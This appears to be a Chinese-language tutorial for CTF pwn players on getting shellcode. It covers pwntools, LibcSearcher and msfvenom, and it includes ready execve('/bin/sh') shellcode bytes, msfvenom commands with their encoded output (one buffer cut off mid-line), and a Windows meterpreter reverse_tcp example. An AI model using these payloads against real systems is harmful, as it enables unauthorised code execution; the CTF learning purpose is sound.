Shellcode的生成和利用

构造shellcode是CTF-PWN和渗透当中经常需要进行的一项活动,有合适熟练的构造shellcode的方法途径,可以使得pwn的过程更加流畅和舒服。下面列出了几种shellcode的获得方法,与各位交流分享。

法一 LibcSearcher 与 one_gadget

特点:安装简单,好理解,构造思路清晰。

from pwn import * #pwntool生成shellcode
shellcode=asm(shellcraft.sh())

shellcode = “\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”(23字节)

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system")        #system 偏移
obj.dump("str_bin_sh")    #/bin/sh 偏移
obj.dump("__libc_start_main_ret")

法二 msfvenom

特定:自动化高,方便。
metasploit framework套件中的msfpayload与msfencode配合使用可以做到生成指定的payload,现在这两个工具进行了合并称为msfvenom。如果完整的安装了msf的话这个工具就已经可以直接使用了。
首先来了解一下这个工具

msfvenom 
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] 
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe -o payload.exe

Options:
    -l, --list                 List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload           Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
        --list-options               List --payload 's standard, advanced and evasion options
    -f, --format             Output format (use --list formats to list)
    -e, --encoder           The encoder to use (use --list encoders to list)
        --sec-name            The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
        --smallest                   Generate the smallest possible payload using all available encoders
        --encrypt             The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
        --encrypt-key         A key to be used for --encrypt
        --encrypt-iv          An initialization vector for --encrypt
    -a, --arch                 The architecture to use for --payload and --encoders (use --list archs to list)
        --platform         The platform for --payload (use --list platforms to list)
    -o, --out                  Save the payload to a file
    -b, --bad-chars            Characters to avoid example: '\x00\xff'
    -n, --nopsled            Prepend a nopsled of [length] size on to the payload
        --pad-nops                   Use nopsled size specified by -n  as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
    -s, --space              The maximum size of the resulting payload
        --encoder-space      The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations          The number of times to encode the payload
    -c, --add-code             Specify an additional win32 shellcode file to include
    -x, --template             Specify a custom executable file to use as a template
    -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name            Specify a custom variable name to use for certain output formats
    -t, --timeout            The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    -h, --help                       Show this message

我们只针对linux下的一些漏洞只构造,所以需要的msfvenom命令相对简单。
上面的options,其中有好一些功能是构造shellcode上用不上的,目前不需要去了解,对渗透感兴趣的可以去研究一下。
msfvenom文档链接
一般来说常用的options是 -p -f -b 辅助的 -n -v -o

-p : 指定构造payload的对象。
-f :指定输出payload的格式
-b:用于规避特定的字符列表。
-n:在payload前填充NOP Sled
-v:给payload构造指定变量名,否则就默认buf
-s:限制payload的字长

这里特别说明一些-b的用法,常见的用法用于对scanf,gets类的溢出题。
因为,gets类遇到\x0a(\n)就会截至读取。
scanf类更多的截取条件,大部分的空白字符都会使得其截至(\0x00,0x0a)
我一直认为光看文档是没效果的,要带入情景才能理解掌握,所以我这举几个具体的实例,并且解释:

#选择平台(platform linux/86)且命令为其中的exec,输入的命令参数是/bin/sh 输出的限制规避字符列表空格(0x00),换行(\0x0a)。得到shellcode如下。
root@kali:~# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b'

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with An encoding exception occurred.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=15, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 68 (iteration=0)
x86/call4_dword_xor chosen with final size 68
Payload size: 68 bytes
Final size of python file: 349 bytes
buf =  b""
buf += b"\x31\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\x76\xfc\x93\x07\x83\xee\xfc\xe2\xf4\x1c\xf7"
buf += b"\xcb\x9e\x24\x9a\xfb\x2a\x15\x75\x74\x6f\x59\x8f\xfb"
buf += b"\x07\x1e\xd3\xf1\x6e\x18\x75\x70\x55\x9e\xf4\x93\x07"
buf += b"\x76\xd3\xf1\x6e\x18\xd3\xe0\x6f\x76\xab\xc0\x8e\x97"
buf += b"\x31\x13\x07
#64位linux下执行系统命令/bin/sh,输出格式python
#基本是使用这个命令的,对这个命令进行修改可以完成大部分的题目。
#msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00\x0b'
#msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b'

 
root@kali:~# msfvenom -p linux/x64/exec CMD=/bin/sh -f python 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 47 bytes
Final size of python file: 243 bytes
buf =  b""
buf += b"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += b"\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += b"\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
buf += b"\x00\x56\x57\x48\x89\xe6\x0f\x05"

有兴趣可以使用

msfvenom -l payloads

来查看所有可构造的payload列表重点关注可以执行读取获得得到shell。

法三 手动构造

推荐链接

这种方法比较现实。。
1.写汇编\C语言编译,然后反向构造payload (门槛高,复杂)
2.直接拖程序去找。。查看到类似的需要段落就截取。 (麻烦,试错复杂)

#include 
#include 

int main(int argc, char *argv[])
{
    char *code[2];
    code[0] = "/bin/sh";
    code[1] = NULL;

    execve(code[0], code, NULL);

    return 0;
}

在对程序进行编译,shellcode的模板一般都是这样的:

jmp xxx 
pop xxx 
xxxxxxxx 
call pop address 
.string

这里面的jmp和call基本都是配套出现,是shellcode用来得到.string里面内容的一个好办法。我们在文档中寻找这部分内容就可以找到我们的shellcode。

法四 Google-find

合理利用googel搜索可以完成大部分shellcode的需求。。

其他

exploit database
libc database search

你可能感兴趣的